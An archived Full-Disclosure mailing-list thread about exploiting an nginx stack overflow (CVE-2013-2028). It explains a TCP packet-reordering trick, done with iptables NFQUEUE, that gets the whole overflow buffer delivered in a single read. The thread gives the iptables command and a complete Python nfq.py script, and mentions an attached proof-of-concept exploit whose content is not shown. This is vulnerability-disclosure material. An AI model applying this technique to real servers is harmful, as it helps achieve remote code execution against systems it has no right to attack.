[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: Re: [Full-disclosure] nginx exploit documentation, about a generic way to exploit Linux targets
From: Albert Puigsech Galicia <albert () puigsech ! com>
Date: 2013-07-26 20:07:03
Message-ID: CAO4nny4aOmMa53JBNkZ9pE4MPxPYJycV0HkxA6Sv73c+-wdKAg () mail ! gmail ! com
[Download RAW message or body]
[Attachment #2 (multipart/alternative)]
Hello,
The fact is that you need to send the TCP packages in different order than
the kernel does on normal connections, and you have two ways to do that:
1. Do not use kernel functions to manage connections, so you need to
implement a little TCP/IP stack on user-space using raw sockets.
2. Use kernel functions, but altering their behavior. In linux you can do
that using NFQ, because it allow you to send packages to user-space to be
managed and the send it back to kernel.
The first way is probably more clean and portable than the second but you
need more code to do it, so I did the firts one just as prof of concept.
The way the second solucion (my) works is easy: with iptables I mark some
packages to be sent into a queue and I manage all that packages with the
python script.
You can try to run **your own** exploit through Internet running both
iptables and the python script as root in other terminal (and keep it
running while you run the exploit :)
When you run It on VM (specially if you are using NAT configuration) it can
probably fail because how virtualization system manages the network. It's
important to notice that we are tricking some network low-level stuff and
having some kind of NAT/Redirect/Whatever-extrange in network level can
change everything on the exploiting perspective.
It works fine using our PoC exploit code (attached on this mail), you can
check if It's getting the padding and the stack cookie in your environment.
On 26 July 2013 08:19, Kingcope
<isowarez.isowarez.isowarez@googlemail.com>wrote:
> Thanks for the hint about how to solve the issue!
> Two questions.
>
> Is the combination of both the iptables setting and python script a
> standalone solution along with the exploit code or is it required to send
> the exploit buffers in nfq.py? I assume the first.
>
> Does this configuration require anything else? I tested it using a vm
> inside windows but I presume it needs a real independent Linux host on the
> Internet right?
>
> Greetings,
>
> Kcope
>
> Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <
> albert@puigsech.com>:
>
> > Hello everybody,
> >
> >
> >> "Ioctl is needed to set the nginx socket blocking so another call to
> write(2) will read much more memory than it is possible with the default
> non-blocking connection of nginx."
> >
> >
> > This vulnerability was published recently and it seems that many
> > exploiters got stuck because the socket will not block because the
> > buffer is longer than the standard ethernet MTU, some others have
> > found another attack vector without that problem.
> >
> > Let me to explain how we have achieved to overcome the non-blocking
> > socket impediment without doing so much:
> >
> >
> > When packets arriving at the TCP layer are analyzed and once
> > determined the sequence are immediately delivered to the upper layer
> > of the OSI model.
> >
> > Let's imagine that you want to overflow a big buffer through the
> > network. Normally you would execute something like;
> >
> > send(sock, "AAAAA….A",…);
> >
> > If the size of the data is bigger than the MTU, is then splitted into
> > multiple packages. The destination processes the information on many
> > smaller packages instead of one. In summary,the read()/recv() doesn't
> > get all the data and the overflow is not done.
> >
> > And that's what's happening on ngingx.
> >
> >
> >
> > What we have done to prevent that packets are delivered directly to
> > the next layer is taking profit of TCP windows and TCP reorder:
> > sending the first package on the last place.
> >
> > What happens is that the TCP stack will not deliver the packets to the
> > next layer because the information is not complete, and just wait
> > until all information (up to the size of the tcp window) is received
> > to deliver it.
> >
> > Then the application layer will get all the information in _the same_
> > read an the overflow will happen.
> >
> >
> >
> > Using that TCP trick, the size limitation of the overflow is the TCP
> > window size instead the MTU.
> >
> >
> >
> > One easy and **dirty** way to implement this is using iptables and
> > nfqueue, but there are some better ones:
> >
> > # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE
> > # python nfq.py
> >
> > Regards,
> >
> >
> >
> > ===/ nfq.py /===
> > import nfqueue
> > import socket
> > import time
> >
> > data_count = 0
> > delayed = None
> >
> > def cb(dummy, payload):
> > global data_count
> > global delayed
> > data = payload.get_data()
> > # DIRTY for first data package (not three-way-handshake)
> > if len(data) > 60:
> > data_count += 1
> > if (data_count == 1):
> > delayed = payload
> > print data
> > # Just DROP the packet and the local TCP stack will send it again
> > because won't get the ACK.
> > payload.set_verdict(nfqueue.NF_DROP)
> > else:
> > data_count = 0
> >
> >
> > q = nfqueue.queue()
> > q.open()
> > q.bind(socket.AF_INET)
> > q.set_callback(cb)
> > q.create_queue(0)
> > try:
> > q.try_run()
> > except KeyboardInterrupt:
> > print "Exiting..."
> > q.unbind(socket.AF_INET)
> > q.close()
> > ===/ nfq.py /===
> >
> > On 23 July 2013 19:49, king cope
> > <isowarez.isowarez.isowarez@googlemail.com> wrote:
> >> (see attachment)
> >>
> >> /Kingcope
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
> > --
> > Albert Puigsech Galicia
> > + Mail: albert@puigsech.com
> > + Jabber: albert@puigsech.com
> > + Twitter: @apuigsech
> > + Web: file:///dev/null
>
--
Albert Puigsech Galicia
+ Mail: albert@puigsech.com
+ Jabber: albert@puigsech.com
+ Twitter: @apuigsech
+ Web: file:///dev/null
[Attachment #5 (text/html)]
<div dir="ltr">Hello, <br><br>The fact is that you need to send the TCP packages in different \
order than the kernel does on normal connections, and you have two ways to do that:<br><br>1. \
Do not use kernel functions to manage connections, so you need to implement a little TCP/IP \
stack on user-space using raw sockets.<br>
<br>2. Use kernel functions, but altering their behavior. In linux you can do that using NFQ, \
because it allow you to send packages to user-space to be managed and the send it back to \
kernel.<br><br>The first way is probably more clean and portable than the second but you need \
more code to do it, so I did the firts one just as prof of concept.<br>
<br>The way the second solucion (my) works is easy: with iptables I mark some packages to be \
sent into a queue and I manage all that packages with the python script.<br><br>You can try to \
run **your own** exploit through Internet running both iptables and the python script as root \
in other terminal (and keep it running while you run the exploit :)<br>
<br><br>When you run It on VM (specially if you are using NAT configuration) it can probably \
fail because how virtualization system manages the network. It's important to notice that \
we are tricking some network low-level stuff and having some kind of \
NAT/Redirect/Whatever-extrange in network level can change everything on the exploiting \
perspective.<br>
<br><br>It works fine using our PoC exploit code (attached on this mail), you can check if \
It's getting the padding and the stack cookie in your environment.</div><div \
class="gmail_extra"><br><br><div class="gmail_quote">
On 26 July 2013 08:19, Kingcope <span dir="ltr"><<a \
href="mailto:isowarez.isowarez.isowarez@googlemail.com" \
target="_blank">isowarez.isowarez.isowarez@googlemail.com</a>></span> wrote:<br><blockquote \
class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">
Thanks for the hint about how to solve the issue!<br>
Two questions.<br>
<br>
Is the combination of both the iptables setting and python script a standalone solution along \
with the exploit code or is it required to send the exploit buffers in nfq.py? I assume the \
first.<br> <br>
Does this configuration require anything else? I tested it using a vm inside windows but I \
presume it needs a real independent Linux host on the Internet right?<br> <br>
Greetings,<br>
<br>
Kcope<br>
<br>
Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <<a \
href="mailto:albert@puigsech.com">albert@puigsech.com</a>>:<br> <div class="HOEnZb"><div \
class="h5"><br> > Hello everybody,<br>
><br>
><br>
>> "Ioctl is needed to set the nginx socket blocking so another call to write(2) \
will read much more memory than it is possible with the default non-blocking connection of \
nginx."<br> ><br>
><br>
> This vulnerability was published recently and it seems that many<br>
> exploiters got stuck because the socket will not block because the<br>
> buffer is longer than the standard ethernet MTU, some others have<br>
> found another attack vector without that problem.<br>
><br>
> Let me to explain how we have achieved to overcome the non-blocking<br>
> socket impediment without doing so much:<br>
><br>
><br>
> When packets arriving at the TCP layer are analyzed and once<br>
> determined the sequence are immediately delivered to the upper layer<br>
> of the OSI model.<br>
><br>
> Let's imagine that you want to overflow a big buffer through the<br>
> network. Normally you would execute something like;<br>
><br>
> send(sock, "AAAAA….A",…);<br>
><br>
> If the size of the data is bigger than the MTU, is then splitted into<br>
> multiple packages. The destination processes the information on many<br>
> smaller packages instead of one. In summary,the read()/recv() doesn't<br>
> get all the data and the overflow is not done.<br>
><br>
> And that's what's happening on ngingx.<br>
><br>
><br>
><br>
> What we have done to prevent that packets are delivered directly to<br>
> the next layer is taking profit of TCP windows and TCP reorder:<br>
> sending the first package on the last place.<br>
><br>
> What happens is that the TCP stack will not deliver the packets to the<br>
> next layer because the information is not complete, and just wait<br>
> until all information (up to the size of the tcp window) is received<br>
> to deliver it.<br>
><br>
> Then the application layer will get all the information in _the same_<br>
> read an the overflow will happen.<br>
><br>
><br>
><br>
> Using that TCP trick, the size limitation of the overflow is the TCP<br>
> window size instead the MTU.<br>
><br>
><br>
><br>
> One easy and **dirty** way to implement this is using iptables and<br>
> nfqueue, but there are some better ones:<br>
><br>
> # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE<br>
> # python nfq.py<br>
><br>
> Regards,<br>
><br>
><br>
><br>
> ===/ nfq.py /===<br>
> import nfqueue<br>
> import socket<br>
> import time<br>
><br>
> data_count = 0<br>
> delayed = None<br>
><br>
> def cb(dummy, payload):<br>
> global data_count<br>
> global delayed<br>
> data = payload.get_data()<br>
> # DIRTY for first data package (not three-way-handshake)<br>
> if len(data) > 60:<br>
> data_count += 1<br>
> if (data_count == 1):<br>
> delayed = payload<br>
> print data<br>
> # Just DROP the packet and the local TCP stack will send it again<br>
> because won't get the ACK.<br>
> payload.set_verdict(nfqueue.NF_DROP)<br>
> else:<br>
> data_count = 0<br>
><br>
><br>
> q = nfqueue.queue()<br>
> q.open()<br>
> q.bind(socket.AF_INET)<br>
> q.set_callback(cb)<br>
> q.create_queue(0)<br>
> try:<br>
> q.try_run()<br>
> except KeyboardInterrupt:<br>
> print "Exiting..."<br>
> q.unbind(socket.AF_INET)<br>
> q.close()<br>
> ===/ nfq.py /===<br>
><br>
> On 23 July 2013 19:49, king cope<br>
> <<a href="mailto:isowarez.isowarez.isowarez@googlemail.com">isowarez.isowarez.isowarez@googlemail.com</a>> \
wrote:<br> >> (see attachment)<br>
>><br>
>> /Kingcope<br>
>><br>
>> _______________________________________________<br>
>> Full-Disclosure - We believe in it.<br>
>> Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html" \
target="_blank">http://lists.grok.org.uk/full-disclosure-charter.html</a><br> >> Hosted \
and sponsored by Secunia - <a href="http://secunia.com/" \
target="_blank">http://secunia.com/</a><br> ><br>
><br>
><br>
> --<br>
> Albert Puigsech Galicia<br>
> + Mail: <a href="mailto:albert@puigsech.com">albert@puigsech.com</a><br>
> + Jabber: <a href="mailto:albert@puigsech.com">albert@puigsech.com</a><br>
> + Twitter: @apuigsech<br>
> + Web: file:///dev/null<br>
</div></div></blockquote></div><br><br clear="all"><div><br></div>-- <br>Albert Puigsech \
Galicia<br>+ Mail: <a href="mailto:albert@puigsech.com" \
target="_blank">albert@puigsech.com</a><br>+ Jabber: <a href="mailto:albert@puigsech.com" \
target="_blank">albert@puigsech.com</a><br>
+ Twitter: @apuigsech<br>+ Web: file:///dev/null
</div>
--001a11c3d14a12fc6904e26fb2f6--
["nginx-CVE-2013-2028.py" (application/octet-stream)]
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic